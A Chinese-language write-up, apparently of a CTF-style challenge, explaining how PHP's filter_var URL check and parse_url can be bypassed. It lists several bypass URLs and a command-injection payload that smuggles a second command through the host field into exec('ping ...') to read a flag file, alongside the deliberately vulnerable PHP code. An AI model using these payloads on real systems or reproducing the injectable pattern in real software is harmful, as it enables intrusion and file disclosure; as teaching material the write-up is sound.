0x02 函数/特性说明
1.filter_var函数
使用特定的过滤器过滤一个变量
但是可用如下方式绕过,如下图二三:
http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一个payload的
2.parse_url()函数,如第二张图
解析 URL,返回其组成部分
0x03 代码解析
1.代码先使用了filter_var函数进行url过滤,但这是可绕过的,再使用了parse_url函数提取其中的host部分进行拼接,当我们传入payload:url=htt://"|type=f1agi3hEre.php||sec-redclub.com时,先绕过了filter_var的过滤,再使用parse_url提取host的部分"|type=f1agi3hEre.php||sec-redclub.com,进行拼接,最后拼接的payload为:ping ""|type f1agi3hEre.php||sec-redclub.com"(如下图2),输出了flag
$url = $_GET['url'];//$url $_GET传入url参数
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){//如果存在和filter_var过滤url,但是可以http://[email protected]绕过
$site_info = parse_url($url);//$site_info parse_url函数分解$url
if(preg_match('/sec-redclub.com$/',$site_info['host'])){//preg_match判定如果$site_info的host末尾含sec-redclub.com
exec('ping "'.$site_info['host'].'"', $result);//执行curl $site_info['host'],并返回结果
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";//输出curl成功
echo implode(' ', $result);//将数组数据implode连接并输出的结果
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");//否则输出错误
}
}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>//否则输出只能访问sec-redclub.com
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
原文始发于微信公众号(鲲哥的Bypass之旅):奇淫巧计-绕过filter_var和parse_url
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论